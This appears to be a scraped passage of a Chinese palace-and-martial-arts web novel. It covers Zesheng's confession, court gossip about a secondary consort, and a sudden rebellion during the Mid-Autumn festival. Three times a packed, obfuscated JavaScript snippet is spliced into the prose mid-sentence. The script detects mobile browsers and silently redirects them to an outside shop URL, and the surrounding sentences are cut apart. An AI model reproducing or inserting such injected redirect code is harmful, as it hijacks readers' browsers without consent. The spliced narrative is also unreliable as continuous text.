“这些日子你去了哪里?怎么伤成这样?”冷逸尘看着他将药喝完后,才将心中疑惑问出。 他迟疑了一会,简单的回答:“碰到几个高手,打了几架,受伤了便回来了。” “就这些?没有别发的原因?”冷逸尘知道他没有说实话。 泽生摇摇头。 “可是与那手帕有关?”冷逸尘不死心,继续追问。 泽生还是摇头。 但他的心思哪里能瞒得过冷逸尘:“哪家姑娘?我替你去提亲。” “她……”泽生不知如何回答,将目光偏向一边去,似有哀伤。 冷逸尘见他悲伤,心下摇头叹息:莫不是又被弃了?于是不再问。依他的性子,过些时日便会好起来。但这次似乎又不同,他从未如此伤情过。 冷逸尘对泽生有些愧疚,他早已该娶亲了,只是这些年跟他东奔西走的,耽搁了。待日后慢慢问出是哪家姑娘,再去提亲,不能让他过这种漂泊不定的生活了。 天气渐暖,临闾城中又热闹起来。 来往的客商带来了一个传闻:江湖上出了一个杀手兼侠客,脸覆面具,来无影去无踪,不留任何痕迹,但从未有人见过其真容。 说他是杀手,是因为他杀人的方式并不光明,出其不意、攻其不备;说他是侠客,是因为他所杀之人皆是该杀之人,比如恶霸土匪、贪官污吏,但从不滥杀无辜。 但不知为何此人得罪了招摇宗。现在招摇宗正在满江湖追杀他。可此人却不见了踪影,如消失了一般。 此时的泽生已经可以下床活动了。 看着变得沉默的泽生,冷逸尘问道:“传闻中的侠客是你?” 泽生知道瞒不住了,便承认了。 “你杀了招摇宗的人?” 泽生点头,伏地请罪。 “所以你的目标一开始便是招摇宗的人?还有什么实情没告诉我?”冷逸尘已然不悦,但更多的是担心。 “殿下英明。剑术大比是招摇宗故意的,意欲挑起江湖纷争。” “我还英明?被你如此欺瞒。还是我平日里太相信你了?”冷逸尘心中怒气冲天,可只能隐忍不发,闭上眼睛重重叹了口气。 他气他为何不告知实情,为何一个人孤身犯险,长右山与他没有太大关系。 泽生捂着胸口跪在冷逸尘面前,说道:“殿下息怒。长右山的事,若殿下必会去复仇。殿下的事,属下万死莫辞。属下的命是殿下给的,属下誓死要保护殿下平安。若殿下去了,公主怎么办?燕北怎么办?” 此言直击冷逸尘软肋,冷逸尘未答。良久才说道:“复仇之事可以从长计议,好好活着才能保护我。此后你不得离开军营半步。” 泽生默然点头,他知此举是为了保护他。招摇宗再复仇心切,也不会探查到军营之中,更何况是距招摇山千里之遥的祁国边塞处。 “还有什么事瞒告诉我,今日最好一并都说了。”冷逸尘怒气难消。 泽生沉默了一会,坚定的摇了摇头。 冷逸尘对他多有无奈,见他不肯说也并未逼问,只是又调拨了四名侍卫来保护他。 荼蘼花开尽时,泽生好了起来。 叶岚只在他回来时见过他一面,此后他在其他院子里养伤,也不便过去探视。但是每过几日就着人送一束花到他的房间,他也算是见到了这个春天。 又过了些时日,临闾城中又有新闻,说是江湖侠客死在了梁国师小将军的刀下。 冷逸尘只听过师老将军,却未听过师小将军,想来应是师老将军的子侄吧。 如此,泽生之危已解,此后他便安全了。 “师小将军为何会帮你?你怎么又和梁国军方扯上关系。”对此事,冷逸尘多有不解。 泽生只是简单的说了句:江湖朋友。 叶岚再次见到泽生时,他已完全康复,但却瘦了不少。 泽生也不再着黑色衣服,开始换上浅色绣纹衣,比那些纯黑的衣服好看了许多。 日子又回到正轨。冷逸尘时常出去巡视。他不在时,叶岚就跟着泽生学习暗器;他回来时,就教叶岚练剑术和箭术。 泽生则经常在兵器营鼓捣什么。 叶岚总是觉得泽生有些变化,变得话少了。他会看着远处发呆,然后一笑,而后又伤感起来,以前从未见过他如此。 她将泽生的变化告诉冷逸尘,冷逸尘说大约想他的心上人了。 当柳絮团满地打滚的时候,泽生将他新打的暗器给叶岚看。一套套暗器可让叶岚开了眼界。 “这些可以送给我吗?”叶岚爱不释手。 泽生悄悄翻了个白眼,毫不留情:“公主若用这些,杀敌八百、自损一千。” 虽然他这样说,但还是将一盒飞镖和一只素银簪送给了叶岚。 飞镖是普通的飞镖,但是这只银簪很特别。表面上只普通的扁平簪子,连一点纹饰都没有,但里面却插着精钢锋利无比的飞镖。 若是淬上毒药,关键时刻便可置人于死地。飞镖插入银鞘内,不会伤到自己,戴到头上也不会引人注意。 果然是件宝贝,叶岚欣然收下。 泽生还告诉她:看准目标,下手要快、稳、准、狠,不要给敌人喘息的机会,否则死的就是自己。 叶岚想:大约不会到如此地步吧。 夏日的白昼很长,叶岚每日都会在海边散步到很晚。看着金乌坠下,看着玉兔升起;看着云霞飘散、看着繁星满天。 她有时隐隐担忧,不知道这样的日子还会持续多久。可是怕什么来什么。果不其然,京中旨意传到,命崇宁王择日回京述职。 叶岚将行程一拖再拖,冷逸尘倒也由着她。最后他们不得不离开,因为京中再次传来旨意,命冷逸尘于皇后的千秋节前赶回祁京。 处暑这日,冷逸尘和叶岚回到了祁都。在临闾关的日子很轻松快活,快活到让叶岚忘记了她是梁国公主、崇宁王妃,忘记了还要面对一些人情世故、社交往来。 此后,或许只有在清和轩里,她才能做自己。 刚回京城,多人来访。叶岚每日里带着沉重的头饰,穿着繁杂的衣衫,端着公主的架子。打起十二分精神,去应对各色访客。 这些都让她十分疲惫,再加之她不喜交际,所以她的话很少,有时甚至不见来客。 京中这些女眷,整日里无所事事,一个笑容都能引出无数闲话。叶岚这种见你不见她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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聂之仪大怒,喊到:“不可能……你想和那侍卫双宿双飞,想都别想。” 接着,里面传来了砸碎东西的声音,门口的侍女吓的一哆嗦。 侍女看见冷逸尘来到,急忙上前行礼问安,并说道:“奴婢见过殿下、王妃。请殿下进去劝劝,公主不允许任何人进入。” 冷逸尘快步过去一脚将开门踹开,只见驸马聂之仪一手抓着冷秋韵的胳膊,一手扯开了她的衣服,意欲不轨。 二人闻声回头,冷逸尘已到跟前,提着聂之仪的脖领将他惯摔在地。 冷秋韵转过身去,整理好衣衫。她本就心中委屈,又让弟弟见到自己如此狼狈的一面,只觉羞愧难当,一瞬间流下泪来。 聂之仪翻身起来,心中有怒气也只隐忍,随即行礼:“见过殿下……臣就不打扰殿下姐弟叙旧了。”说完整理了一下衣衫,转身出去了。 出了门,经过叶岚时,对她戏谑一笑,之后便大步流星的离开了。 冷逸尘为了不让冷秋韵尴尬,出来对叶岚说道:“你先去园中转转,我随后便去找你。” 此情此情,叶岚的确不方便在场,轻点了一下头,转身出了院子。 冷秋韵,这个嫡出公主,集万千宠爱于一身,本该是个贵气骄傲的。可偏偏她又生的温婉贤淑、柔顺和蔼。即便是这样的天之骄女,也是夫妻情薄。 叶岚又想到她自身,冷逸尘待她真可谓是一心一意。可又想到刚才皇后对她的态度,想起皇后对她做过的事,心中不免又有些郁结。 她自能自我安慰:哪有事事都如意的。 叶岚漫不经心的在小路上走着,园子中景致虽好,但总觉得建筑太过刻意,不如自然山水看着心旷神怡。 园子虽大,但在她看来还是狭小,远不及临闾关来的敞亮。她叹了口气:刚回来几日,便开始想念了。 39. 莫问情短长 正在叶岚惆怅叹息之时,身后传来崇安王王妃程思锦的清脆的声音:“弟妹这是怎么了?唉声叹气的?” 叶岚闻声转身,只见程似锦一身华服,亮眼夺目。妆容精致得体,高贵不失妩媚。 再看她的生相与腰身,全然不像三十岁的人,若说她二十三四岁也是有人相信的。 叶岚问安:“嫂嫂。” 程思锦忙还了平礼,笑道:“真是委屈公主了,公主身份尊贵,在这里见了我们这些人还要行礼。” 冷逸尘敬重他们夫妻,所以叶岚也对她谦逊:“长幼有序,这礼是应该的。嫂嫂怎么也出来了?” “出来透口气。一群小女子,叽叽喳喳的,听着心烦。”程思锦不喜这样家长里短的热闹。 见她只一个人,又问道:“咦?怎么不见三弟?侍女也未曾带来。 “他在和长公主……叙旧。侍女在后面。”今日叶岚本带了梧桐前来,刚才她把梧桐留在了长公主住的院子门口,让她一会带冷逸尘来找自己。 程思锦叹了口气:“大约是在听长公主诉苦吧。” 她不喜背后论人是非,转了话题,拉着叶岚的手说道:“弟妹,在燕北辛苦了。” “还好。”叶岚客气的微笑。 程思锦并不相信:“怎么会还好。我幼时也曾跟随父兄去过燕北,那里的冬天,是真正的苦寒之地。难为你能在那里这么久。回头我让人送些脂粉香膏过去,保养皮肤最好不过了” 叶岚听着这话,忽觉如她姐姐一般亲切,便诚恳的道了谢。 二人并肩前行,程思锦的脚步始终慢叶岚半步。她摇着团扇说道:“跟我还这般客气。算算时日,你嫁过来已经快两年了,跟大家还不熟悉。以前宫宴、聚会,三弟他不愿参加就罢了,如今有了你,他也该带你去。不为别的,就为了你能结识些闺中密友。要不日日在府中关着,有什么意思。” “嫂嫂思虑的周全,只是我平日里也是懒于交际,在府里读读书、养养花草的,也觉得不错。” “你呀,倒是会为他开脱。三弟小时候最爱跟着他哥哥,我那时也常常在宫中小住,有时他哥哥烦他就丢给我带。”说道此处,程思锦不自觉的笑了一下,似是回忆儿时。 “后来大了些,也变得也稳重了,再后来他执意要出去游学,归来时已是少年将军了。时间真是快呀,一晃都这么多年过去了。”她说完这些,颇有一种顽童终于长大了的欣慰感 叶岚猜测,想是冷逸尘知道了皇后不是亲生母亲的事,才会变了性情吧。这个缘故大概程思锦也不知道。以前的冷逸尘是什么样子、什么性情呢? 程思锦见她若有所思,用肩轻轻的撞了一下她,问道:“想什么呢?” 叶岚一笑,掩饰道:“没什么。” 忽然,程思锦拉着叶岚站住,屏退了侍女们,用团扇遮着,附耳说道:“妹妹,你可知你们来之前皇后娘娘她们再说什么?” 看着程思锦煞有介事,叶岚皱着眉的摇了摇头。 “她们再商议给三弟纳侧妃之事。是何家幺女何媛,就是刚才在殿内站在皇后身边之人。”程思锦与她附耳说道。 叶岚听完,只觉脑中一片空白,嗡翁作响。 程思锦看出叶岚的震惊,捏了捏她的手,真心实意的说道:“妹妹,我说这些,或许是交浅言深了。但我是真心为了你和三弟好。我能看得出你二人的情意。” 叶岚回过神来,谢道:“嫂嫂把我当自己人,才与我说这些,我很是感激。” 可父母之命,帝王之令,谁能违抗?忽而她又觉得无能为力:“只是,有些事情不是我能左右的。” 程思锦不这样认为,劝她道:“你远嫁而来,想必已是受了很多委屈,有些事就不能再受委屈了。事在人为,早做筹谋为好。” 未及叶岚回答,一个中官匆匆过来,对程思锦说道:“王妃原来在这里,叫奴才好找,崇安王殿下请您过去一趟。” 程思锦拍了拍叶岚的手,意味深长的看着她:“你好自为之……我先过去了。” 看着程思锦离去的背景,她心中纷扰,无心再看景致。 想起去年安如便同她说过这些,她也没有往心里去。 她是相信冷逸尘的,相信他的承诺、他的誓言。可在现实面前,承诺、誓言又算得了什么。 叶岚揣着心事,不知要去往何处。继续前行,不觉到了一处花园。花木繁茂,不少女子在此赏玩,时不时听能听到娇俏笑声。 忽而,假山后隐隐约约传来了“崇宁王妃”几个字,引起了她的注意。 假山上地锦繁茂,倒是能遮住行迹。她驻足,倒要听听他们说什么。 假山这边,一个姑娘嗅着一朵花说道:“听闻崇宁王妃一直深居简出,都说殿下是金屋藏娇,原来是怕带出来有失体面。” 另一个姑娘笑着附和:“看她那皮肤,如炭一般,手也是粗糙不堪,连我府上粗使的丫头都不如。” 叶岚听着,不禁摸摸自己的脸颊。在一众娇俏佳丽、国色天香中,她的确如尘土一般。 她低下头去看着指间和手掌上的茧子,确实是粗糙。但她并不觉得这茧子有什么不好,有了这些茧子,她拿起武器才不会觉得硌手。她这茧子为她换来了半身的本领,她从未嫌弃过它们。 程思锦则与这些人不同。别人只看的了叶岚的肤色、茧子,有碍观瞻,可程思锦却知道她经历了什么。 想到此处,她心中不免对程思锦生出来亲切之情来。 那头又传来温柔的劝导声:“妹妹们慎言,王妃好歹也是梁国公主。” “呵,公主?从未见过这样的公主,倒像是婢女代嫁。”一个声音说完,大家又是一阵笑声。 此时,冷逸尘也找了过来。隐隐约约听见了对话,又看见叶岚摸摸脸、低下头去看手掌。疑心她是心中自卑,便走上前去紧紧的握住叶岚的手。 叶岚吓了一跳,抬头看向冷逸尘,只见他眼中满是心疼。 叶岚摇摇头,示意他噤声。 冷逸尘点点头,拉起她的手亲吻了一下,然后独自绕过来假山。 叶岚想拉住他,可他步子大,一把没抓住。她也不愿暴露,便任由她去了。 此时一个姑娘正对何媛说着:“以后姐姐与崇宁王妃共侍一夫,自然是要和气相与。” 何媛娇羞一笑,嗔怪道:“妹妹慎言,我与殿下的事,还需陛下定夺。” “何姑娘与本王有什么事,还需要陛下定夺?”冷逸尘冰冷的声音在众人身后响起。 见崇宁王到来,众人皆惊慌的拜倒在地。 冷逸尘并让她们起身,居高临下的说道:“方才无意听到姑娘们提及本王王妃,可有看见王妃去了何处?” “未……未曾见到。”何媛紧张的回答。 “诸位刚才说的话,本王都听到了。背地里说人闲话、论人是非,诸位家中就是这样教导诸位的吗?看来本王有必要告知诸位的父兄,再教导教导诸位礼节呀。” 在皇后千秋寿辰上失仪,对这些世家女来说,是天大的罪过。传出去不仅有损家族名声,还会影响到将来的婚嫁之事。众女子纷纷叩首认错。 “本王王妃是梁国公主,身份尊贵,万里挑一。与本王的婚事是天下为媒、国君为证,断容不得他人来置喙。诸位,以后不管以后在哪里,若本王再听到有诋毁王妃和何姑娘要嫁于本王的话音儿,那就是你们散播出去的,到时就休怪本王不留情面了。”说完,又冷哼一声,绕回了假山后面。 叶岚在这头听着冷逸尘的话,心下也安定了。刚才的烦恼顿觉烟消云散,她转身走向回路。 不多时,冷逸尘便追了上来,问道:“怎么不等等我?” “听墙角这样的事,有失规矩,我怕你告诉我哥哥。”叶岚想着刚才的事,心中只想笑。这时已远离了花园,她再也忍不住笑出了声来。 冷逸尘不皆她为何要笑,说道:“为了你,我可是将她们都得罪光了。你还笑?” “是,是,是我不好。为了弥补殿下,本宫一会便去为殿下求娶何媛姑娘。”叶岚居然 “哼,随你。”冷逸尘不满她还有心思开玩笑,气的拂袖而去。 叶岚也觉自己有些过分了,笑着追上,向他道歉。 冷逸尘无奈的用手点了点她的额头:“没良心。” 晚宴后归来,叶岚沐浴更衣,洗掉了一身杂乱的脂粉味,坐在案几边想抄写诗文。 冷逸尘提着食盒推门而入,坐到了叶岚的妆台之前。打开食盒,是一碗冒着热气的蛋羹。 叶岚看到甚是高兴,她正饿了,本就想让厨房再做些膳食,但又怕惹出太大动静,这毕竟是在京中。 冷逸尘用羹匙挖了一块送到叶岚嘴边,说道:“见你晚膳没用多少,就蒸了蛋羹给你。快尝尝,我做的。” “你还会做饭?”叶岚尝了一口,香软嫩滑。 “在长右山的时候,师兄教我的。” “他还教了什么?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14073883|149415||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “只学会了这一道。刚去长右山时,我病了一段日子,是师兄给我做饭吃。我和泽生在外面时,只能吃干粮。” 叶岚低头一笑,继续说道:“没想到我四哥还会做饭,我可从来没吃过。” “师兄若不下山,现在应该已经是掌门了。不过梁国现在更需要他。”说完他从怀中掏出一个盒子,打开里面是一对和田绞丝玉镯。 “这是去年我从绛玉轩订的,只是店里一直没有找到合适的玉料,后又因玉雕师傅病了没有做成。今年终于做出来了,我刚才去取了回来。”说着将玉镯为她戴上。 绞丝玉镯由环形玉石镂空雕刻而成,两环相互独立而又环环相扣,极其考验玉雕师傅的手艺。对玉石料子更有着极其严苛的要求,玉料里有一点点瑕疵或裂纹都会前功尽弃。 这对玉镯巧夺天工,虽比不得那些雕花的玉镯华丽,却十分难得。 叶岚抬手,玉石碰撞发出清脆的响声。她问道:“你刚才回来又出去了,就是为了取这镯子?” 冷逸尘点点头,说道:“奇珍异宝想必你也见的多了,想讨你欢心只能从精巧独特上来。这对玉镯虽算不上珍贵。但是却是难得。” 这话让叶岚很是受用,喂了一勺蛋羹给他,说道:“难为你费了这么些心思,明日让他们送来不就好了,何苦又跑一趟。” “我想让你高兴一些……”冷逸尘说着将她揽入怀中。 “我哪里不高兴了?”叶岚嘴硬不承认。 冷逸尘看着叶岚的笑意,忽而不确定她的心意,明知道母后要为他娶侧妃,她这一点也不在意的态度让他有些忧愁。于是问道:“今日她们的话,你当真不在意?” 叶岚放下羹匙,抬起头说道:“在意,可我在意的不是她们说我的那些话。她们诋毁我,不过是因为羡慕我是你的王妃,我有什么可生气的。我自有我的生活,她们理解不了,我不怪她们。” “没想到你能这样想,我今日真是担心极了,怕你会伤心。” 叶岚放下羹匙,变得严肃,话锋一转:“我在意的是你!姑姑曾和我说过,你是皇子,肯定会为了某些目的娶侧妃。我听了觉得很烦恼、且又觉得凄凉。后来我想,只要你心里有我,即便娶了别人也无妨,只要你欢喜便好。可是今日一听有别的女子想嫁与你,我就不由的伤心、生气……你是我的人,你心里和身边只能有我一个人。”叶岚说完心中酸酸的,脸上满是委屈。 冷逸尘看着她的醋意,放心下来,故意逗她:“我若不得已,真娶了别人怎么办?” 叶岚一下就怒了,使劲推了他一把,侧过身去,说道:“就知道你那些话都是哄人的。如此,我便离开你,生生世世不与你相见。”说着眼眶就红了起来。 冷逸尘才意识到她是如此认真,赶紧起身将她揽进怀里,解释道:“我不是这个意思,我不会。” 叶岚心中酸楚,掉下泪来:“可我能去哪里?你让我怎么办?”说完这话,叶岚自己都都觉得惊讶。 她如今是怎么了?堂堂公主,怎么变得如此卑微。她再次推开冷逸尘,不愿看他。 冷逸尘这才发觉她真真是受了莫大的委屈。道着歉给她擦泪:“你放心,我发誓,此生只有你一人。我们说好的要年年岁岁、一生一世都在一起。” 叶岚忽觉她这样是让冷逸尘两难,但若有旨意他又怎能忤逆。她非常矛盾,只想自己一个人静一静。 于是她坐正身子,说道:“累了一日了,早些去休息吧。” 冷逸尘不想走,他知道她此时更需要陪伴:“今晚我住在这里,可好?” 叶岚拒绝道:“不好。每次一睁眼你都不在,我心里难受。还不如你不在时。” 冷逸尘哪里肯依,揽过她的腰身:“可你这样,我怎能放心。我明早叫你起床。” 草草欢娱,并不尽兴。冷逸尘调整着呼吸,看着叶岚眉头微蹙,紧闭双目,睫毛上又多了些晶莹。微白的脸颊泛着红晕,甚是让人怜爱。他有些懊悔,刚才不该如此。 忽而叶岚转向他,将脸贴在他的胸膛,嗫喏道:“我今日不是故意发脾气。我也不知是怎么了,就是觉得心中不痛快。她们打你的主意,我不高兴。” 冷逸尘抚着她的后背劝慰:“我明白。你说过,在感情上,你一点委屈也不能受。今日的委屈,你白日里不能诉说,如今于无人处,才能对着我表一表、发一发脾气。可见你是相信我的。” 叶岚此刻方觉二人心意是想通的,放心的说了句:“你明白就好。” 40. 风动天地惊 皇后的千秋寿宴结束后,秋猎开始。祁帝亲临平川猎场,百官扈从。 崇安王冷逸凡留于京中监国。 叶岚不喜人多,未随冷逸尘同去。 半个月后,八月十三,她收到了崇安王府的请帖。崇安王王妃程思锦恐她在京中孤单,邀她赴崇安王府晚宴,共度中秋佳节。 她想着八月十六是冷书屿生辰,冷逸尘早就准备了礼物,拜托她送过去,倒不如十五这日一并带过去。于是回帖,按时赴约。 八月十五这日,叶岚带着梧桐来到崇安王府。一进门便被程思锦拉着说话。 “怎么还带来这么多东西,是怕在我这府上吃不饱吗?”程思锦看着两个大箱子,打趣她。 叶岚被她逗笑了,解释道:“明日是屿儿生日,这些都是给他的礼物。” 程思锦一面命人将箱子抬进去,一面拉着她入府:“难为你还想着。屿儿进学去了,等他回来再谢过他婶婶。” “怎么过节也不让孩子休息一日?”叶岚有些惊讶,她们夫妻对孩子也太严格了。 “夫子每日都有授课安排,一日不得耽误。” “原来如此……”叶岚想到这皇室孙辈就这一个独苗,定是要好好栽培的。她又谢道:“多谢嫂嫂请我过来。” “客气什么,你远嫁而来,身边无亲人,三弟又不在京中,一个人有什么意思。正好来给我做个伴,今日也只有我和屿儿在府中。” 说话间二人已到了正厅,程思锦命人上了花茶,招呼叶岚坐下。 叶岚饮了一口,香气浓郁,有些喝不惯。放下茶盏问道:“崇安王殿下不回来吗?” 程思锦也饮了一口花茶,十分满意这味道。接着解释:“他如今管着京城的防守。今日中秋,晚上有灯会,安防自然要紧些。他已安排人送咱们去灯会,等用完膳再去与他汇合。” 叶岚想或是因为她的原因,男女同席多有不便。想到他们一家因自己而不得团圆,心下愧疚又感激,赞叹道:“殿下安排的真是周全。” 程思锦倒是没想这么多,拉着叶岚看了一圈,问道:“妹妹穿的素雅,头饰怎么也这般简单?若外面再说三弟苛待你,我可要真信了。走,我去给妹妹装饰装饰。”说罢,拉着叶岚进了她的寝殿。 程思锦的梳妆台要比普通的梳妆台大了一倍,各式胭脂水粉、簪钗环佩,琳琅满目,看得人眼花缭乱。 叶岚虽贵为公主,却不喜在这些钗环上下功夫。这梳妆台着实是她吃了一惊:“我从来没见过这样满满当当的梳妆台,怪不得嫂嫂的妆容画的这样好。” 她将叶岚按在梳妆台前,拿出几盒胭脂在叶岚的脸上比较。言语中带着些小骄傲,说道:“那是自然。每天画个漂亮的面妆,不是为取悦谁,是自己看着都高兴。我这最多的就是胭脂,这些是我刚换上来到了秋季胭脂。” 叶岚拿起一盒胭脂闻了闻,一股栀子的甜香涌入鼻息,熏的她有些作呕,于是便放下了。 程思锦见她不喜浓郁,便换了一盒清淡的给她:“试试这个。” 叶岚接过,闻着是淡淡茉莉香。她甚是喜欢:“这个好……胭脂还分季节吗?” “当然,北方这天气,四季分明。有时干燥有时潮湿,有时炎热有时寒冷。当然不能总用一种胭脂香膏。这些胭脂可都是我自己做的。”程思锦说完,为她重新涂了胭脂和口脂,的确比之前靓丽了一些。 接着又去簪钗堆里扒拉:“我自小便喜欢这些。可惜家里只有我一个女孩子,没人和我玩,我便自己学。说来好笑,我小时候还想过开个胭脂水粉铺面。” “若是嫂嫂开了胭脂铺面,可真的要断了别人家的生计了。”叶岚边搭话边任由她装饰自己。 程思锦顿了一下,目光看向了窗外的花草,似乎憧憬着未来:“或许以后我能开一家铺面。现在孩子大些,不缠人了,殿下自去忙他的,我这才便有时间做胭脂。” “怪不得府里花草这么多。”叶岚这才明白为什么会觉得崇安王府狭窄,原来是花木占了很大空间。 “都是殿下淘弄回来的,他知道我喜欢这些,但凡看见会开花的植物就弄回来。但他不知道并不是所有的花都能做胭脂。有些有用的、好看的就留下来了,有些不好的就丢掉了。我这府里日日打理这些花草就要很大一部分人手。”程思锦说着将两根银簪簪到了叶岚的发髻上。 她虽说的漫不经心,但叶岚看得出这一花一草皆是冷逸凡对她的心意。不由心生感慨:“殿下待嫂嫂真好。” 程思锦又拿出玉簪对比后,用玉簪换下了银簪:“还是玉簪最衬妹妹的气质……我们自幼相识,他待我如妹,我待他如兄。” “青梅竹马,真好……”叶岚有些羡慕他们能在一起这么久。 程思锦却不这么认为:“好什么?我们太熟悉了,都知道彼此的性情,可谁也不会退让。大婚当夜便吵了一架。” 说到这里,她不禁笑了起来,继而又说道:“你也真是心大,上次与你说的全然没听进去。你让三弟一个人去秋猎,那不是把肉往狼群里丢呀!” 叶岚沉吟了一下,嗫喏道:“他不会……” 她没有多说别的,于她而言,她与冷逸尘之情,端正庄严,是不可作为谈资与人言说的。 “你呀……他不会,保不准别人不想!”程思锦叹息着摇了摇头,随后又为她换了耳饰。 此时侍女来报:小殿下已归来,席面已备好,请二位王妃入席。 上次叶岚见冷书屿还是幼童的身段。这一年多未见,孩子已经长高了不少,个头已快赶上她了,俨然是个小大人的模样。 席面很简单,却做的很精致。叶岚与程思锦商量着去哪里看灯最好,冷书屿则说要去买烟花放。程思锦却说他父亲早已为他备好,一会带着便是。 三人的晚膳和谐而喜庆。程思锦正笑着夹菜,却被突然起来的“咣当”一声响,惊掉了筷子。 抬头一看,只见门被打开,一个侍卫闯了进来。 那侍卫身负铠甲,衣袍上沾了鲜血,进来便拜倒:“叛军谋逆,请王妃带着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14073884|149415||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 小殿下尽快随属下躲避。” 程思锦听完脸色瞬变,陡然站起来,问道:“程骁,发生了什么事?” “有一众叛军隐匿在看灯的人群中,突然袭击了羽林卫,打开了城门。城门外杀进来了苑将军,高嚷着:崇安王谋反,吾等奉旨平叛。现在京中已乱成一团,请王妃速速与属下去避难。程骁语速很快,已经没有太多时间了。 叶岚听后,惊出一身冷汗来,怎么会这样?她看向程思锦。 程思锦咬着后槽牙、攥着拳头愤然道:“荒谬,这是诬陷。殿下在何处?带我去找他。” 程骁急切的恳求道:“城中已经乱了,死了不少百姓。请王妃速与属下离开。已有军队朝王府开来,再晚就来不及了。” 程思锦深吸一口气,转身对叶岚说道:“妹妹,你带着屿儿跟程骁走,我去找殿下,我不相信他会谋反。程骁是我娘家人,信得过,快走!” 叶岚在军中见过兵荒马乱的样子,可如今自己也亲身经历了。一切没有征兆、一切猝不及防。她只觉浑身紧绷,不禁叫了声:“嫂嫂……” 冷书屿此时上前一步,说道:“母亲,我不走。我要和您一起去找父王。” 程思锦面色严峻的看着他,说道:“屿儿,听母亲的话,跟婶婶快走。活下去,活下去才有希望。想办法去找你舅舅们。” 说罢又转向叶岚:“快走,屿儿就拜托公主了。若我们今日殒命,还请公主能日后为我夫妻二人证明清白。”说罢,便跪下对叶岚叩首。 叶岚忙扶起她,紧握着她的手,坚定的说道:“嫂嫂放心!” 叶岚带着梧桐,和冷书屿在程骁的带领下穿廊疾行。一路上都是准备逃跑的侍从、婢女。 异变突生,谁也没有来得急准备,大家匆匆忙忙的收拾包裹、惶惶张张的往外逃跑,谁也顾不得谁。 府中一片混乱,路旁那些辛苦寻来的花草被踩得稀烂。命都快保不住了,谁还会关心这些花草。 叶岚一行人来到后花园,进了一间偏房,房中堆满了杂物与工具。程骁与几名侍卫搬开墙角的麻袋,掀开地上的木板,一条密道赫然出现在眼前。 两个侍卫先下去探路,等确定安全后,其他人再走。不多时,只听得地道中传来两声短促的哨声。 叶岚让冷书屿先行,冷书屿看着黑漆漆的洞口未动。他抬起头说道:“婶婶,我想去找父亲和母亲。” 叶岚安慰道:“孩子,听你母亲的话,咱们先走,会有人来救他们。” 程骁亦说道:“已经有死士冲出城去给小殿下的叔叔、舅舅报信,小殿下放心。” 冷书屿这才进了密道,密道不高也很窄,只能容一人通过。 不能点火把,叶岚只能拉着侍卫的佩剑前行。在无尽的黑暗中,恐惧被无限放大。梧桐拉着她的手,她能感觉到梧桐冰冷的手在发抖。 她的心脏跳的厉害,一下一下似重拳出击,似乎要冲破这躯体的束缚。深吸一口气,满是霉味和泥土味。这条密道大概很多年没开启过了吧。 41. 生死两茫茫 “密道通向哪里?”叶岚的虽然声音很小,但在这狭小密闭的空间里,声音被放得很大。 “通向王府后面的一处小宅院。哪里备有马匹。到时候属下会护送王妃和小殿下出城。”程骁亦把声音压得很低。 “城门还能出去吗?” 程骁沉默了一会儿,然后回答:“咱们先躲避一会,等有了机会,属下再护送王妃与小殿下出城。” 此话虽平静可却让人听着心惊,原来他们也没有十分的把握。她摸摸腰间的鸣镝,这鸣镝是冷逸尘交给她的,遇到危险便向天空射出,自会有侍卫来保护她。他叮嘱她一定要随身携带,她很庆幸今日带来出来。 但今日情形,不知她的王府情况如何了,安如又怎样?侍卫还在不在崇安王府附近?一切都未可知,只能硬着头皮走一步看一步了。 密道口的出口在崇安王府后面一处民宅的衣柜中。众人藏在屋子里等待,但不久就有人来报,有人向此处查来。他们不得不离开这里。 侍卫已看好屋外安全无事,几人便走到院子里。院子里能听见外面杂乱的马蹄声、叫喊声。 叶岚想弃马秘行,但程骁否决了,此处距城门甚远,也不知路上会遇到什么,还是速速前进为好。 院子里只有两匹马,梧桐不会骑马,叶岚与她同乘一匹,程骁与冷书屿同乘一匹,其它侍卫急行前进。 可是,刚出了巷子走了两条街,就听见远远地有人喊:那边有人,去看看。 一行人只得快行。不多时,后面便传来一连串“站住、站住……追……”的声音。继而,只听“嗖嗖”两声,一支箭从叶岚右侧穿过,同时叶岚听见后背“啊”了一声,接着梧桐坠马。 她心下一凉,忙勒住了马,下马返回去看梧桐。只见箭头从她背部直入后心。叶岚将她翻过来,呼唤着她的名字。可她口吐鲜血,没了意识。 来不及悲伤,叶岚便被程骁拽入暗处。她努力克制着自己的身体不要发抖,取了腰间的鸣镝,射入空中。 他们会来吗?此刻的叶岚不敢抱有任何希望。追兵已至,侍卫拼死保护,但不久就只剩了程骁一人。 此时此刻,她已做好破釜沉舟的打算。捡了两把剑,一把递给冷书屿,说道:“屿儿,可会用剑?” “会”。 “好,我们相背而出,相互防守,或许可以杀出去。” 冷书屿倒是很沉着,也未多言,直接接过剑。 二人从暗处走出来,一军士挥剑斩来,叶岚接招。几招后,她渐渐不敌。冷书屿趁其不备,一剑刺入那敌人腰间。剑拔出、敌人倒地。 